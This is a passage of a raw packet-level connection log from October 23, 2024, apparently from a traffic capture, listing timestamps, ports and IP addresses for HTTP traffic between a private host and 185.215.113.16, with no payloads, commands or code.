Oct 23, 2024 17:51:27.311865091 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.311873913 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.311877012 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.311889887 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.311897993 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.311923981 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.311953068 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.311964989 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.311979055 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.311990976 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.312011957 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.312021017 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.312037945 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.312098980 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.312110901 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.312138081 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.312151909 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.312176943 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.312186956 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.312194109 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.312220097 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.312233925 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.312247038 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.312257051 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.312277079 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.312308073 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.312350988 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.312417030 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.312428951 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.312460899 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.312463999 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.312474966 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.312489033 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.312521935 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.312546015 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.312557936 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.312568903 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.312583923 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.312618971 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.312642097 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.312654972 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.312666893 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.312678099 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.312701941 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.312716961 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.312787056 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.312799931 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.312812090 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.312824011 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.312834978 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.312863111 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.313554049 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.313590050 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.313601971 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.313612938 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.313625097 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.313631058 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.313636065 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.313641071 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.313648939 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.313661098 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.313680887 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.313688993 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.313693047 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.313705921 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.313711882 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.313718081 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.313736916 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.313740969 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.313752890 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.313757896 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.313767910 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.313779116 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.313791990 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.313807011 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.313808918 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.313839912 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.313854933 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.317548037 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.376583099 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.376599073 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.376610994 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.376646042 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.376732111 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.376744032 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.376755953 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.376768112 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.376777887 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.376781940 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.376791000 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.376805067 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.376810074 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.376815081 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.376821041 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.376851082 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.387044907 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.387069941 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.387082100 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.387098074 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.387125015 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.428155899 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.428189993 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.428201914 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.428244114 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.428245068 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.428256989 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.428287029 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.428294897 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.428333998 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.428349018 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.428360939 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.428374052 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.428385973 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.428396940 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.428421021 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.429049015 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.429117918 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.429128885 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.429164886 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.429265022 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.429276943 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.429289103 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.429316044 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.429322958 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.429337978 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.429356098 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.429366112 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.429378033 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.429390907 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.429394960 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.429405928 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.429415941 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.429419041 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.429430962 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.429441929 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.429450989 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.429464102 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.429471970 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.429490089 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.429503918 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.429507017 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.429514885 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.429528952 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.429543018 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.429548979 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.429555893 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.429575920 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.429589987 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.429672956 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.429750919 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.429763079 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.429769993 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.429811001 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.429929972 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.429941893 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.429953098 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.429975033 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.429991961 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.430001974 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.430012941 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.430026054 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.430027008 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.430046082 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.430051088 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.430062056 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.430077076 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.430084944 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.430103064 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.430114031 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.430126905 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.430161953 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.430171967 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.430176020 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.430186033 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.430197954 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.430197954 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.430208921 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.430222988 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.430233002 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.430234909 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.430247068 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.430257082 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.430258989 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.430273056 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.430284977 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.430284977 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.430299044 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.430309057 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.430318117 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.430330992 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.430340052 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.430354118 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.430354118 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.430377007 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.430382967 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.430401087 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.430403948 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.430433035 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.430442095 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.430445910 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.430458069 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.430480957 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.430597067 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.430634975 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.430645943 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.430664062 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.430696011 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.430700064 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.430711985 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.430852890 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.430891991 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.430943012 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.430953026 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.430964947 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.430975914 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.430999994 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.431122065 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.431133032 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.431144953 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.431174040 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.431178093 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.431184053 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.431195974 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.431210041 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.431253910 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.431437016 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.431447983 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.431459904 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.431493044 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.431536913 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.431548119 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.431560040 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.431571960 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.431585073 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.431585073 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.431610107 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.431622028 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.445777893 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.494019985 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.494040966 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.494056940 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.494092941 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.494183064 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.494215965 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.494250059 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.494266033 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.494296074 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.494308949 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.494317055 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.494340897 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.494348049 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.494363070 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.494370937 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.494378090 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.494390965 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.494393110 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.494457006 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.504514933 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.504530907 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.504544973 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.504571915 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.512567997 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.545423985 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.545439959 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.545456886 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.545470953 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.545480967 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.545485973 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.545500994 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.545502901 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.545538902 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.545589924 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.545624018 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.545685053 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.545698881 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.545715094 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.545727968 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.545746088 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.545764923 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.546462059 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.546530962 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.546545982 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.546561003 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.546570063 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.546596050 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.546597004 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.546611071 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.546641111 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.546641111 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.546654940 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.546669006 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.546684027 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.546688080 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.546701908 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.546714067 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.546737909 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.546751022 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.546765089 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.546766043 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.546803951 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.546818018 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.546832085 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.546847105 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.546859980 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.546859980 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.546902895 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.546936035 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.546950102 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.546981096 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.546981096 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.546994925 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.547028065 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.547028065 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.547043085 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.547060013 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.547072887 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.547086954 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.547110081 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.547142029 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.547156096 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.547171116 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.547187090 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.547188044 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.547207117 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.547225952 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.547251940 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.547280073 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.547346115 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.547362089 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.547375917 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.547394991 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.547436953 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.547451973 CEST	80	49763	185.215.113.16	192.168.2.6
